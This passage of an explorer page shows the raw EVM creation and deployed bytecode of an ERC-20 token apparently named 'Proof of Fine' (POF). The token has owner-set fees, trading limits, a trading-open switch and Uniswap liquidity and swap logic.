0000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f61436b61436661436184614348565b614142565b61328b565b9050919050565b61437b81614351565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6143b381613250565b82525050565b5f6143c483836143aa565b60208301905092915050565b5f602082019050919050565b5f6143e682614381565b6143f0818561438b565b93506143fb8361439b565b805f5b8381101561442b57815161441288826143b9565b975061441d836143d0565b9250506001810190506143fe565b5085935050505092915050565b5f60a08201905061444b5f83018861332f565b6144586020830187614372565b818103604083015261446a81866143dc565b905061447960608301856135c2565b614486608083018461332f565b9695505050505050565b5f60c0820190506144a35f8301896135c2565b6144b0602083018861332f565b6144bd6040830187614372565b6144ca6060830186614372565b6144d760808301856135c2565b6144e460a083018461332f565b979650505050505050565b5f815190506144fd81613294565b92915050565b5f805f6060848603121561451a5761451961322d565b5b5f614527868287016144ef565b9350506020614538868287016144ef565b9250506040614549868287016144ef565b9150509250925092565b5f602082840312156145685761456761322d565b5b5f614575848285016144ef565b9150509291505056fea2646970667358221220c74b878758b0578782bb7ff8a6fb53d6186b4b1829882e59f3eda33f22cf521a64736f6c63430008150033

Deployed Bytecode

0x6080604052600436106101ba575f3560e01c806375f0a874116100eb578063b3de9b5d11610089578063e537a83411610063578063e537a834146105f0578063e8078d9414610618578063f2fde38b14610622578063f8b45b051461064a576101c1565b8063b3de9b5d14610560578063c3f70b521461058a578063dd62ed3e146105b4576101c1565b806395d89b41116100c557806395d89b41146104a8578063a5e992bb146104d2578063a9059cbb146104fc578063aacebbe314610538576101c1565b806375f0a8741461043e5780638a8c523c146104685780638da5cb5b1461047e576101c1565b806330449efd116101585780634706240211610132578063470624021461039a5780634fcd2446146103c457806370a08231146103ec578063715018a614610428576101c1565b806330449efd1461030b578063313ce56714610348578063368f480014610372576101c1565b806318839bc31161019457806318839bc31461025557806323b872dd1461027d5780632b14ca56146102b95780632fb528ba146102e3576101c1565b806306fdde03146101c5578063095ea7b3146101ef57806318160ddd1461022b576101c1565b366101c157005b5f80fd5b3480156101d0575f80fd5b506101d9610674565b6040516101e6919061320d565b60405180910390f35b3480156101fa575f80fd5b50610215600480360381019061021091906132be565b6106b1565b6040516102229190613316565b60405180910390f35b348015610236575f80fd5b5061023f61079e565b60405161024c919061333e565b60405180910390f35b348015610260575f80fd5b5061027b60048036038101906102769190613381565b6107c2565b005b348015610288575f80fd5b506102a3600480360381019061029e91906133d1565b610995565b6040516102b09190613316565b60405180910390f35b3480156102c4575f80fd5b506102cd610a80565b6040516102da919061343c565b60405180910390f35b3480156102ee575f80fd5b506103096004803603810190610304919061347f565b610a95565b005b348015610316575f80fd5b50610331600480360381019061032c91906134bd565b610c74565b60405161033f9291906134e8565b60405180910390f35b348015610353575f80fd5b5061035c610d13565b604051610369919061343c565b60405180910390f35b34801561037d575f80fd5b5061039860048036038101906103939190613546565b610d1b565b005b3480156103a5575f80fd5b506103ae610ed8565b6040516103bb919061343c565b60405180910390f35b3480156103cf575f80fd5b506103ea60048036038101906103e59190613584565b610eee565b005b3480156103f7575f80fd5b50610412600480360381019061040d91906134bd565b611006565b60405161041f919061333e565b60405180910390f35b348015610433575f80fd5b5061043c61104c565b005b348015610449575f80fd5b50610452611151565b60405161045f91906135d1565b60405180910390f35b348015610473575f80fd5b5061047c611179565b005b348015610489575f80fd5b5061049261125f565b60405161049f91906135d1565b60405180910390f35b3480156104b3575f80fd5b506104bc611286565b6040516104c9919061320d565b60405180910390f35b3480156104dd575f80fd5b506104e66112c3565b6040516104f3919061333e565b60405180910390f35b348015610507575f80fd5b50610522600480360381019061051d91906132be565b6112cc565b60405161052f9190613316565b60405180910390f35b348015610543575f80fd5b5061055e600480360381019061055991906134bd565b611328565b005b34801561056b575f80fd5b5061057461152c565b604051610581919061333e565b60405180910390f35b348015610595575f80fd5b5061059e611535565b6040516105ab919061333e565b60405180910390f35b3480156105bf575f80fd5b506105da60048036038101906105d591906135ea565b61153e565b6040516105e7919061333e565b60405180910390f35b3480156105fb575f80fd5b5061061660048036038101906106119190613661565b6115c0565b005b61062061174f565b005b34801561062d575f80fd5b5061064860048036038101906106439190613713565b611d95565b005b348015610655575f80fd5b5061065e611e9b565b60405161066b919061333e565b60405180910390f35b60606040518060400160405280600d81526020017f50726f6f66206f662046696e6500000000000000000000000000000000000000815250905090565b5f81600c5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161078c919061333e565b60405180910390a36001905092915050565b5f6009600a6107ad919061389a565b6461f313f8806107bd91906138e4565b905090565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461084f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108469061396f565b60405180910390fd5b80806108585750815b156108e85760135f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156108e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108de906139d7565b60405180910390fd5b5b81600e5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080600f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550505050565b5f61099f84611ea4565b6109de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d590613a3f565b60405180910390fd5b81600c5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610a659190613a5d565b92505081905550610a77848484611f76565b90509392505050565b5f60035f9054906101000a900460ff16905090565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b199061396f565b60405180910390fd5b6001601460016101000a81548160ff02191690831515021790555060648260ff161115610b84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7b90613ada565b60405180910390fd5b5f60648360ff16600b5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610bd391906138e4565b610bdd9190613b25565b90506009600a610bed919061389a565b811115610bfe57610bfd81612648565b5b8115610c55575f4790505f8111610c4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4190613b9f565b60405180910390fd5b610c53816127e2565b505b505f601460016101000a81548160ff0219169083151502179055505050565b5f80600e5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16600f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1691509150915091565b5f6009905090565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610da8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9f9061396f565b60405180910390fd5b5f60016103e88461ffff166009600a610dc1919061389a565b6461f313f880610dd191906138e4565b610ddb91906138e4565b610de59190613b25565b610def9190613bbd565b9050600554811015610e36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2d90613c3a565b60405180910390fd5b806005819055505f60016103e88461ffff166009600a610e56919061389a565b6461f313f880610e6691906138e4565b610e7091906138e4565b610e7a9190613b25565b610e849190613bbd565b9050600654811015610ecb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec290613ca2565b60405180910390fd5b8060068190555050505050565b5f600360019054906101000a900460ff16905090565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f729061396f565b60405180910390fd5b60028183610f899190613cc0565b60ff161115610fcd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc490613d3e565b60405180910390fd5b81600360016101000a81548160ff021916908360ff1602179055508060035f6101000a81548160ff021916908360ff1602179055505050565b5f600b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146110d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d09061396f565b60405180910390fd5b5f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861635f60405161114791906135d1565b60405180910390a1565b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611206576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111fd9061396f565b60405180910390fd5b60145f9054906101000a900460ff1615611255576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124c90613da6565b60405180910390fd5b61125d61284a565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f504f460000000000000000000000000000000000000000000000000000000000815250905090565b5f600854905090565b5f6112d633611ea4565b611315576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130c90613a3f565b60405180910390fd5b611320338484611f76565b905092915050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ac9061396f565b60405180910390fd5b60135f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161561143f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143690613e0e565b60405180910390fd5b8060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600e5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b5f600754905090565b5f600554905090565b5f600c5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461164d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116449061396f565b60405180910390fd5b8363ffffffff168563ffffffff166009600a611669919061389a565b6461f313f88061167991906138e4565b61168391906138e4565b61168d9190613b25565b6007819055508163ffffffff168363ffffffff166009600a6116af919061389a565b6461f313f8806116bf91906138e4565b6116c991906138e4565b6116d39190613b25565b60088190555066038d7ea4c680008163ffffffff166116f29190613e3e565b66ffffffffffffff166009819055506007546008541015611748576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173f90613ec4565b60405180910390fd5b5050505050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146117dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d39061396f565b60405180910390fd5b6001601460016101000a81548160ff0219169083151502179055505f73ffffffffffffffffffffffffffffffffffffffff1660125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611886576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187d90613f2c565b60405180910390fd5b60145f9054906101000a900460ff16156118d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118cc90613da6565b60405180910390fd5b5f3411806118e257505f47115b611921576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191890613f94565b60405180910390fd5b5f600b5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054116119a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199790613ffc565b60405180910390fd5b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a0a573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611a2e919061402e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26040518363ffffffff1660e01b8152600401611a7c929190614059565b6020604051808303815f875af1158015611a98573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611abc919061402e565b60125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611b42600b5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054476128fb565b600a54600b5f60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611bb19190613a5d565b925050819055505f60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166040516024016040516020818303038152906040527ffff6cae9000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051611c8191906140c4565b5f604051808303815f865af19150503d805f8114611cba576040519150601f19603f3d011682016040523d82523d5f602084013e611cbf565b606091505b5050905080611d03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cfa90614124565b60405180910390fd5b8060135f60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550505f601460016101000a81548160ff021916908315150217905550565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611e22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e199061396f565b60405180910390fd5b805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616381604051611e90919061419d565b60405180910390a150565b5f600654905090565b5f805f905060145f9054906101000a900460ff1615611ec65760019050611f6d565b600e5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611f625750600f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15611f6c57600190505b5b80915050919050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611fe5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fdc90614200565b60405180910390fd5b60145f9054906101000a900460ff166120d457600e5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680156120945750600f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b6120d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ca90613a3f565b60405180910390fd5b5b601460019054906101000a900460ff16158015612137575060135f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80156121485750612147826129d2565b5b1561215657612155612b2e565b5b60045443106123ec57600254431080156121b6575060135f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b1561222a573273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614612229576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161222090614268565b60405180910390fd5b5b61025860025461223a9190613bbd565b4310801561228e575060135f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80156122c657503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156123eb576001600d5f4381526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282829054906101000a900460ff166123339190613cc0565b92506101000a81548160ff021916908360ff1602179055506002600d5f4381526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1660ff1611156123ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123e190614268565b60405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561245457503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156124ab57505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156124fb576124bb848484612c50565b6124fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124f1906142d0565b60405180910390fd5b5b5f612507858585612dd8565b90505f81846125169190613a5d565b905083600b5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546125649190613a5d565b9250508190555081600a5f82825461257c9190613bbd565b9250508190555080600b5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546125cf9190613bbd565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051612633919061333e565b60405180910390a36001925050509392505050565b61265181612fa1565b5f600267ffffffffffffffff81111561266d5761266c6142ee565b5b60405190808252806020026020018201604052801561269b5781602001602082028036833780820191505090505b50905030815f815181106126b2576126b161431b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2816001815181106127155761271461431b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016127b1959493929190614438565b5f604051808303815f87803b1580156127c8575f80fd5b505af11580156127da573d5f803e3d5ffd5b505050505050565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015612846573d5f803e3d5ffd5b5050565b60646009600a61285a919061389a565b6461f313f88061286a91906138e4565b600361287691906138e4565b6128809190613b25565b60058190555060646009600a612896919061389a565b6461f313f8806128a691906138e4565b60036128b291906138e4565b6128bc9190613b25565b600681905550600160145f6101000a81548160ff021916908315150217905550436004819055506004546002546128f39190613bbd565b600281905550565b61290482612fa1565b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230855f8060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161298a96959493929190614490565b60606040518083038185885af11580156129a6573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906129cb9190614503565b5050505050565b5f805f6009541115612b20575f600b5f60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490505f73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc273ffffffffffffffffffffffffffffffffffffffff166370a0823160125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401612aaf91906135d1565b602060405180830381865afa158015612aca573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190612aee9190614553565b90505f828287612afe91906138e4565b612b089190613b25565b90506009548110612b1857600193505b505050612b25565b600190505b80915050919050565b6001601460016101000a81548160ff0219169083151502179055505f600a5490506007548110158015612b6c575060145f9054906101000a900460ff165b15612c33576008548110612b805760085490505b5f8190506009600a612b92919061389a565b6001612b9e91906138e4565b811115612c1a5781600b5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254612bf19190613bbd565b92505081905550612c0181612648565b81600a5f828254612c129190613a5d565b925050819055505b5f4790505f811115612c3057612c2f816127e2565b5b50505b505f601460016101000a81548160ff021916908315150217905550565b5f806001905060145f9054906101000a900460ff168015612cb85750600f5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015612d0b5750600f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15612dcd57600554831115612d22575f9050612dcc565b60135f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015612dc2575060065483600b5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612dc09190613bbd565b115b15612dcb575f90505b5b5b809150509392505050565b5f8060145f9054906101000a900460ff161580612e3b5750600e5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80612e8c5750600e5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15612e99575f9050612f96565b60135f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615612f19576064600360019054906101000a900460ff1660ff1684612f0891906138e4565b612f129190613b25565b9050612f95565b60135f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615612f9457606460035f9054906101000a900460ff1660ff1684612f8791906138e4565b612f919190613b25565b90505b5b5b809150509392505050565b80600c5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015613180577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600c5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9257fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff604051613177919061333e565b60405180910390a35b50565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156131ba57808201518184015260208101905061319f565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6131df82613183565b6131e9818561318d565b93506131f981856020860161319d565b613202816131c5565b840191505092915050565b5f6020820190508181035f83015261322581846131d5565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61325a82613231565b9050919050565b61326a81613250565b8114613274575f80fd5b50565b5f8135905061328581613261565b92915050565b5f819050919050565b61329d8161328b565b81146132a7575f80fd5b50565b5f813590506132b881613294565b92915050565b5f80604083850312156132d4576132d361322d565b5b5f6132e185828601613277565b92505060206132f2858286016132aa565b9150509250929050565b5f8115159050919050565b613310816132fc565b82525050565b5f6020820190506133295f830184613307565b92915050565b6133388161328b565b82525050565b5f6020820190506133515f83018461332f565b92915050565b613360816132fc565b811461336a575f80fd5b50565b5f8135905061337b81613357565b92915050565b5f805f606084860312156133985761339761322d565b5b5f6133a586828701613277565b93505060206133b68682870161336d565b92505060406133c78682870161336d565b9150509250925092565b5f805f606084860312156133e8576133e761322d565b5b5f6133f586828701613277565b935050602061340686828701613277565b9250506040613417868287016132aa565b9150509250925092565b5f60ff82169050919050565b61343681613421565b82525050565b5f60208201905061344f5f83018461342d565b92915050565b61345e81613421565b8114613468575f80fd5b50565b5f8135905061347981613455565b92915050565b5f80604083850312156134955761349461322d565b5b5f6134a28582860161346b565b92505060206134b38582860161336d565b9150509250929050565b5f602082840312156134d2576134d161322d565b5b5f6134df84828501613277565b91505092915050565b5f6040820190506134fb5f830185613307565b6135086020830184613307565b9392505050565b5f61ffff82169050919050565b6135258161350f565b811461352f575f80fd5b50565b5f813590506135408161351c565b92915050565b5f806040838503121561355c5761355b61322d565b5b5f61356985828601613532565b925050602061357a85828601613532565b9150509250929050565b5f806040838503121561359a5761359961322d565b5b5f6135a78582860161346b565b92505060206135b88582860161346b565b9150509250929050565b6135cb81613250565b82525050565b5f6020820190506135e45f8301846135c2565b92915050565b5f8060408385031215613600576135ff61322d565b5b5f61360d85828601613277565b925050602061361e85828601613277565b9150509250929050565b5f63ffffffff82169050919050565b61364081613628565b811461364a575f80fd5b50565b5f8135905061365b81613637565b92915050565b5f805f805f60a0868803121561367a5761367961322d565b5b5f6136878882890161364d565b95505060206136988882890161364d565b94505060406136a98882890161364d565b93505060606136ba8882890161364d565b92505060806136cb8882890161364d565b9150509295509295909350565b5f6136e282613231565b9050919050565b6136f2816136d8565b81146136fc575f80fd5b50565b5f8135905061370d816136e9565b92915050565b5f602082840312156137285761372761322d565b5b5f613735848285016136ff565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156137c05780860481111561379c5761379b61373e565b5b60018516156137ab5780820291505b80810290506137b98561376b565b9450613780565b94509492505050565b5f826137d85760019050613893565b816137e5575f9050613893565b81600181146137fb576002811461380557613834565b6001915050613893565b60ff8411156138175761381661373e565b5b8360020a91508482111561382e5761382d61373e565b5b50613893565b5060208310610133831016604e8410600b84101617156138695782820a9050838111156138645761386361373e565b5b613893565b6138768484846001613777565b9250905081840481111561388d5761388c61373e565b5b81810290505b9392505050565b5f6138a48261328b565b91506138af83613421565b92506138dc7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846137c9565b905092915050565b5f6138ee8261328b565b91506138f98361328b565b92508282026139078161328b565b9150828204841483151761391e5761391d61373e565b5b5092915050565b7f4f6e6c79206f776e65722063616e2063616c6c207468697320666e00000000005f82015250565b5f613959601b8361318d565b915061396482613925565b602082019050919050565b5f6020820190508181035f8301526139868161394d565b9050919050565b7f43616e6e6f74206578656d7074204c50000000000000000000000000000000005f82015250565b5f6139c160108361318d565b91506139cc8261398d565b602082019050919050565b5f6020820190508181035f8301526139ee816139b5565b9050919050565b7f54726164696e67206e6f7420796574206f70656e0000000000000000000000005f82015250565b5f613a2960148361318d565b9150613a34826139f5565b602082019050919050565b5f6020820190508181035f830152613a5681613a1d565b9050919050565b5f613a678261328b565b9150613a728361328b565b9250828203905081811115613a8a57613a8961373e565b5b92915050565b7f43616e6e6f742073776170206d6f7265207468616e20313030250000000000005f82015250565b5f613ac4601a8361318d565b9150613acf82613a90565b602082019050919050565b5f6020820190508181035f830152613af181613ab8565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f613b2f8261328b565b9150613b3a8361328b565b925082613b4a57613b49613af8565b5b828204905092915050565b7f4e6f2045544800000000000000000000000000000000000000000000000000005f82015250565b5f613b8960068361318d565b9150613b9482613b55565b602082019050919050565b5f6020820190508181035f830152613bb681613b7d565b9050919050565b5f613bc78261328b565b9150613bd28361328b565b9250828201905080821115613bea57613be961373e565b5b92915050565b7f747820746f6f206c6f77000000000000000000000000